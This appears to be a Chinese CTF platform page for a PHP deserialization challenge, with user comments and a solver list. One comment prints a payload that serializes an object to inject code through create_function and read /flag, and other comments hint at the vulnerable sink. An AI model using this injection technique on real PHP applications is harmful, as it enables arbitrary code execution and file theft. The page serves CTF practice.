unserialize-NoteasyWEB 未解决

分数: 30 金币: 3
题目作者: 云牧青
一  血: Lazzaro
一血奖励: 5金币
解  决: 526
提  示:
描  述:
不简单的反序列化
评论
610198915qqcom 2年前

不会,踢到铁板了

回复 0

limu 2年前

真心不会等在提升一段时间再来做

回复 0

chips 2年前

真心不会等在提升一段时间再来做

回复 0

cxh82878583 2年前

真心不会等在提升一段时间再来做

回复 0

mooho 2年前

真心不会等在提升一段时间再来做

回复 0

笨笨笨蛋 2年前

寄了,不会

回复 2

18679066006 3年前

$s=new Noteasy('create_function',';};highlight_file("/flag");/*'); echo urlencode(serialize($s));

回复 0

a1037214089 3年前

家人们 那个wp里的$b 为什么不需要考虑闭合的问题啊?create_function("",;}show_source('/flag');/*在语法上不会报错吗?我构造了一个能够闭合create_function的(的payload 结果不行....

回复 1

v3277293 3年前

哇,终于做出来了

回复 0

W01fh4cker 3年前

提示:本题关键在于$a("", $b);,同时本题环境不是PHP7.2,是PHP5;查看flag可以是highlight_file也可以是show_source。

回复 0

WriteUp

image
云牧青

5 金币

评分(2)

解题动态

5032894 攻破了该题 2小时前
lianhaorui 攻破了该题 3天前
lin666 攻破了该题 3天前
zhuyh69 攻破了该题 3天前
孙燕姿圈外男友 攻破了该题 9天前
kbhjt 攻破了该题 15天前
flying610 攻破了该题 15天前
admit 攻破了该题 17天前
19957910119 攻破了该题 17天前
dingyan 攻破了该题 24天前
natai 攻破了该题 29天前
ctfzhaogang 攻破了该题 1月前
liusongxn 攻破了该题 1月前
qfgk16 攻破了该题 1月前
aaaLi 攻破了该题 1月前
zswxh111 攻破了该题 1月前
nihaolmb 攻破了该题 1月前
xiajinsong2022 攻破了该题 1月前
Ftcioer 攻破了该题 1月前
Sariha 攻破了该题 1月前
问题反馈